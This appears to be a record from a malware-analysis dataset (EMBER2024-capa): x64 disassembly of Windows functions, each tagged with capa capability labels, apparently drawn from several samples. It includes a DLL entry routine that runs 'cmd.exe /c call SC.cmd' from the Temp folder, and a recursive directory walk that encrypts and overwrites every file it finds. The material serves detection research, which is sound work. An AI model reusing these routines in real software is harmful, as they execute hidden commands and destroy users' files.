joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14001eac0]
mov dword [rax], 1
mov rax, qword [0x14001ead0]
mov dword [rax], 1
mov rax, qword [0x14001eae0]
mov dword [rax], 1
mov rax, qword [sym.3b_XGFI__F_LH9duaGFe__X5P3XB_lT_R:u8Sz]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400016e0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rdi
push rsi
push rbx
movabs rdx, 0x27d4eb2f165667c5
mov r10, rcx
lea rcx, [rcx + 0x28]
mov r9d, dword [r10 + 0x48]
mov r8, qword [r10 + 0x18]
mov r11, qword [r10]
add r9, rcx
add rdx, r8
cmp r11, 0x1f
jbe 0x1400017bd
mov rbx, qword [r10 + 0x10]
mov rdx, qword [r10 + 8]
movabs rdi, 0xc2b2ae3d27d4eb4f
mov rax, qword [r10 + 0x20]
mov rsi, rbx
imul rbx, rdi
mov rbp, rdx
rol rdx, 1
rol rsi, 7
imul rbp, rdi
add rdx, rsi
mov rsi, r8
rol rsi, 0xc
imul r8, rdi
add rdx, rsi
mov rsi, rax
rol rbp, 0x1f
rol rsi, 0x12
imul rax, rdi
add rdx, rsi
rol r8, 0x1f
movabs rsi, 0x9e3779b185ebca87
imul rbp, rsi
imul r8, rsi
xor rdx, rbp
mov rbp, rbx
movabs rbx, 0x85ebca77c2b2ae63
imul rdx, rsi
rol rbp, 0x1f
imul rbp, rsi
add rdx, rbx
xor rdx, rbp
imul rdx, rsi
add rdx, rbx
xor r8, rdx
mov rdx, rax
imul r8, rsi
rol rdx, 0x1f
imul rdx, rsi
lea rax, [r8 + rbx]
xor rdx, rax
imul rdx, rsi
add rdx, rbx
lea rsi, [r10 + 0x30]
add rdx, r11
cmp r9, rsi
jb 0x140001829
movabs rbx, 0xc2b2ae3d27d4eb4f
mov rcx, rsi
movabs r8, 0x9e3779b185ebca87
movabs r11, 0x85ebca77c2b2ae63
nop word [rax + rax]
mov rax, qword [rcx - 8]
add rcx, 8
imul rax, rbx
rol rax, 0x1f
imul rax, r8
xor rax, rdx
rol rax, 0x1b
imul rax, r8
lea rdx, [rax + r11]
cmp r9, rcx
jae 0x1400017f0
mov rax, r9
sub rax, r10
lea rcx, [rax - 0x30]
and rcx, 0xfffffffffffffff8
add rcx, rsi
lea r8, [rcx + 4]
cmp r9, r8
jb 0x140001867
mov eax, dword [rcx]
movabs rcx, 0x9e3779b185ebca87
imul rax, rcx
mov rcx, r8
xor rax, rdx
movabs rdx, 0xc2b2ae3d27d4eb4f
rol rax, 0x17
imul rax, rdx
movabs rdx, 0x165667b19e3779f9
add rdx, rax
cmp rcx, r9
jae 0x14000189e
movabs r10, 0x27d4eb2f165667c5
movabs r8, 0x9e3779b185ebca87
movzx eax, byte [rcx]
add rcx, 1
imul rax, r10
xor rax, rdx
rol rax, 0xb
imul rax, r8
mov rdx, rax
cmp r9, rcx
jne 0x140001880
mov rax, rdx
shr rax, 0x21
xor rax, rdx
movabs rdx, 0xc2b2ae3d27d4eb4f
imul rax, rdx
mov rdx, rax
shr rdx, 0x1d
xor rax, rdx
movabs rdx, 0x165667b19e3779f9
imul rax, rdx
mov rdx, rax
shr rdx, 0x20
xor rax, rdx
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x140015140
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140015168
mov eax, 0
jmp 0x1400151b6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140015191
mov eax, 0
jmp 0x1400151b6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x1400151b1
mov eax, 0
jmp 0x1400151b6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x1800011c0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x260
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, rcx
mov qword [rsp + 0x38], rcx
xor r14d, r14d
mov dword [rsp + 0x30], r14d
mov edx, 0x104
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], r14
lea rax, [rsp + 0x40]
mov rbx, 0xffffffffffffffff
nop word [rax + rax]
inc rbx
cmp word [rax + rbx*2], r14w
jne 0x180001230
movabs rbp, 0x7ffffffffffffffe
cmp rbx, rbp
ja 0x1800013c8
mov r15d, 0xa
cmp rbx, 7
ja 0x180001282
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 7
add rbx, rbx
mov r8, rbx
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.180014170
mov word [rbx + rdi], r14w
jmp 0x18000132c
mov rax, rbx
or rax, 7
cmp rax, rbp
jbe 0x18000129e
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x1800012cb
mov rbp, rax
cmp rax, r15
cmovb rbp, r15
lea rcx, [rbp + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x1800013c2
add rcx, rcx
cmp rcx, 0x1000
jb 0x1800012f7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800013c2
mov rcx, rax
call fcn.1800018c4
test rax, rax
je 0x1800013bc
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x180001309
test rcx, rcx
je 0x180001306
call fcn.1800018c4
mov rsi, rax
jmp 0x180001309
mov rsi, r14
mov qword [rdi], rsi
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], rbp
add rbx, rbx
mov r8, rbx
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.180014170
mov word [rbx + rsi], r14w
mov dword [rsp + 0x30], 1
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x180001376
lea rsi, [rcx + 5]
mov qword [rdi + 0x10], rsi
mov rbx, rdi
cmp rdx, 7
jbe 0x18000135c
mov rbx, qword [rdi]
lea rcx, [rbx + rcx*2]
mov r8, r15
lea rdx, str.Temp
call fcn.180014170
mov word [rbx + rsi*2], r14w
jmp 0x18000138c
mov qword [rsp + 0x20], 5
mov edx, 5
mov rcx, rdi
call fcn.180001580
mov rax, rdi
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.180001870
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
call fcn.18000851c
int3
call fcn.180001100
int3
call fcn.1800011a0
int3
Function at 0x1800013d0
Capabilities:
Set current directory

Disassembly:
sub rsp, 0x78
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x60], rax
cmp edx, 1
jne 0x1800014de
lea rcx, [rsp + 0x20]
call fcn.1800011c0
nop
lea rcx, [rsp + 0x20]
cmp qword [rsp + 0x38], 7
cmova rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
je 0x1800014a0
mov qword [rsp + 0x48], 0
mov ecx, 0x20
call fcn.1800018c4
mov rcx, rax
mov qword [rsp + 0x40], rax
movdqa xmm0, xmmword [0x18001ca00]
movdqu xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [str.cmd.exe__c_call_SC.cmd]
movups xmmword [rax], xmm1
mov eax, dword [0x18001c9f0]
mov dword [rcx + 0x10], eax
movzx eax, word [0x18001c9f4]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0
call fcn.180008594
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1800014a0
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000149a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800014fb
call fcn.180001890
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x1800014de
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800014d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800014f5
call fcn.180001890
mov eax, 1
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.180001870
add rsp, 0x78
ret
call fcn.18000851c
nop
call fcn.18000851c
nop
int3
Function at 0x18000cc5c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18000cc8c
xor eax, eax
jmp 0x18000cd4f
mov rbp, rbx
cmp word [rax], si
je 0x18000ccb1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18000cc98
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18000cc94
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18000cb7c
movsxd r14, eax
test eax, eax
jne 0x18000ccef
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18000cc85
mov rcx, r14
call fcn.18000b2cc
mov rdi, rax
test rax, rax
jne 0x18000cd08
xor ecx, ecx
call fcn.18000a1d8
jmp 0x18000cce4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18000cb7c
test eax, eax
jne 0x18000cd39
mov rcx, rdi
call fcn.18000a1d8
jmp 0x18000cd43
xor ecx, ecx
call fcn.18000a1d8
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1800105b8
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.18000b088
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x180010642
cmp byte [rbp - 0x21], r15b
je 0x18001063d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x180010678
call fcn.18000d460
test eax, eax
jne 0x180010664
cmp byte [rbp - 0x21], r15b
je 0x18001065c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x180010678
cmp byte [rbp - 0x21], r15b
je 0x180010675
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.18000af0c
test eax, eax
jne 0x180010718
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.18000b088
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1800106b7
cmp byte [rbp - 0x21], r15b
je 0x1800106ec
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1800106ec
call fcn.18000d460
test eax, eax
jne 0x1800106d8
cmp byte [rbp - 0x21], r15b
je 0x1800106d1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1800106ec
cmp byte [rbp - 0x21], r15b
je 0x1800106e9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.18000af0c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x180010718
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x18001071b
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x180010729
mov rcx, rdi
call fcn.18000a1d8
cmp byte [rbp + 0x3f], r15b
je 0x180010738
mov rcx, qword [rbp + 0x27]
call fcn.18000a1d8
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000aa10]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000aa20]
mov dword [rax], 1
mov rax, qword [0x14000aa30]
mov dword [rax], 1
mov rax, qword [0x14000a9a0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000aa00]
mov dword [0x14000d00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x14000aae0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x14000aac0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x14000a950]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001531
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xf0], ecx
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0xffffffffffffffff
jne 0x14000156e
mov eax, 0
jmp 0x1400015de
mov dword [rbp - 0x60], 0x130
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0xd8]
mov rdx, rax
call sym.Process32First
test eax, eax
je 0x1400015c6
mov eax, dword [rbp - 0x58]
cmp dword [rbp + 0xf0], eax
jne 0x1400015af
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp - 0x40]
jmp 0x1400015de
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0xd8]
mov rdx, rax
call sym.Process32Next
test eax, eax
jne 0x14000158c
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x160
pop rbp
ret
Function at 0x1400015e7
Capabilities:
Delete file
Move file
Read file on windows
Write file on windows

Disassembly:
push rbp
sub rsp, 0x150
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xe0], rcx
mov qword [rbp + 0xe8], rdx
mov rax, qword [rbp + 0xe0]
lea rdx, section..rdata
mov rcx, rax
call sym.fopen
mov qword [rbp + 0xc0], rax
cmp qword [rbp + 0xc0], 0
jne 0x14000165b
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
mov rax, qword [rbp + 0xe0]
mov r8, rax
lea rax, str.Error_opening_file:__s_n
mov rdx, rax
call sym.fprintf
jmp 0x140001861
lea rax, [0x14000a01b]
mov rdx, rax
lea rax, str.temp.txt
mov rcx, rax
call sym.fopen
mov qword [rbp + 0xb8], rax
cmp qword [rbp + 0xb8], 0
jne 0x140001790
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Error_creating_temporary_file._n
mov rdx, rax
call sym.fprintf
mov rax, qword [rbp + 0xc0]
mov rcx, rax
call sym.fclose
jmp 0x140001861
mov qword [rbp + 0xc8], 0
jmp 0x140001757
mov rax, qword [rbp + 0xe8]
lea rdx, [0x14000a048]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000170f
lea rax, [rbp - 0x60]
mov rdx, qword [rbp + 0xc8]
add rax, rdx
movzx eax, byte [rax]
add eax, 0x50
mov ecx, eax
lea rax, [rbp - 0x60]
mov rdx, qword [rbp + 0xc8]
add rax, rdx
mov byte [rax], cl
jmp 0x14000174f
mov rax, qword [rbp + 0xe8]
lea rdx, [0x14000a04c]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000174f
lea rax, [rbp - 0x60]
mov rdx, qword [rbp + 0xc8]
add rax, rdx
movzx eax, byte [rax]
sub eax, 0x50
mov ecx, eax
lea rax, [rbp - 0x60]
mov rdx, qword [rbp + 0xc8]
add rax, rdx
mov byte [rax], cl
add qword [rbp + 0xc8], 1
mov rax, qword [rbp + 0xc8]
cmp rax, qword [rbp + 0xb0]
jb 0x1400016cd
mov rcx, qword [rbp + 0xb8]
mov rdx, qword [rbp + 0xb0]
lea rax, [rbp - 0x60]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rdx, qword [rbp + 0xc0]
lea rax, [rbp - 0x60]
mov r9, rdx
mov r8d, 0x104
mov edx, 1
mov rcx, rax
call sym.fread
mov qword [rbp + 0xb0], rax
cmp qword [rbp + 0xb0], 0
jne 0x1400016bd
mov rax, qword [rbp + 0xc0]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0xb8]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0xe0]
mov rcx, rax
call sym.remove
test eax, eax
je 0x140001823
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
mov rax, qword [rbp + 0xe0]
mov r8, rax
lea rax, str.Error_removing_original_file:__s_n
mov rdx, rax
call sym.fprintf
jmp 0x140001861
mov rax, qword [rbp + 0xe0]
mov rdx, rax
lea rax, str.temp.txt
mov rcx, rax
call sym.rename
test eax, eax
je 0x140001861
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Error_renaming_temporary_file:_temp.txt_n
mov rdx, rax
call sym.fprintf
nop
add rsp, 0x150
pop rbp
ret
Function at 0x14000186a
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
sub rsp, 0x390
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x320], rcx
mov qword [rbp + 0x328], rdx
mov rdx, qword [rbp + 0x320]
lea rax, [rbp + 0x200]
mov r9, rdx
lea r8, str._s
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x200]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x308], rax
cmp qword [rbp + 0x308], 0xffffffffffffffff
jne 0x140001907
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x320]
mov r8, rax
lea rax, str.Error_searching_directory:__s_n
mov rdx, rax
call sym.fprintf
jmp 0x1400019fd
lea rax, [rbp + 0xc0]
add rax, 0x2c
lea rdx, [0x14000a0c7]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x1400019c6
lea rax, [rbp + 0xc0]
add rax, 0x2c
lea rdx, [0x14000a0c9]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x1400019c6
mov rcx, qword [rbp + 0x320]
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0xc0]
add rdx, 0x2c
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x104
mov rcx, rax
call sym.snprintf
mov eax, dword [rbp + 0xc0]
and eax, 0x10
test eax, eax
je 0x14000199b
mov rdx, qword [rbp + 0x328]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.traverse_directory
jmp 0x1400019c7
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, str.Processing_file:__s_n
mov rcx, rax
call sym.printf
mov rdx, qword [rbp + 0x328]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.encrypt_decrypt_file
jmp 0x1400019c7
nop
lea rax, [rbp + 0xc0]
mov rcx, qword [rbp + 0x308]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
jne 0x140001907
mov rax, qword [rbp + 0x308]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
nop
add rsp, 0x390
pop rbp
ret
Function at 0x140001fd0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140002040
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000d094]
test esi, esi
mov rbx, rcx
jle 0x140002170
mov rax, qword [0x14000d098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000208b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002115
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002070
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x140002192
mov rax, qword [0x14000d098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000d098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002177
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000210e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002120
add dword [0x14000d094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x14000d098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000210e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140002098
mov rax, qword [0x14000d098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002700
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000d100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d0e0]
test rbx, rbx
je 0x14000275c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002753
test rsi, rsi
je 0x140002753
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002738
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]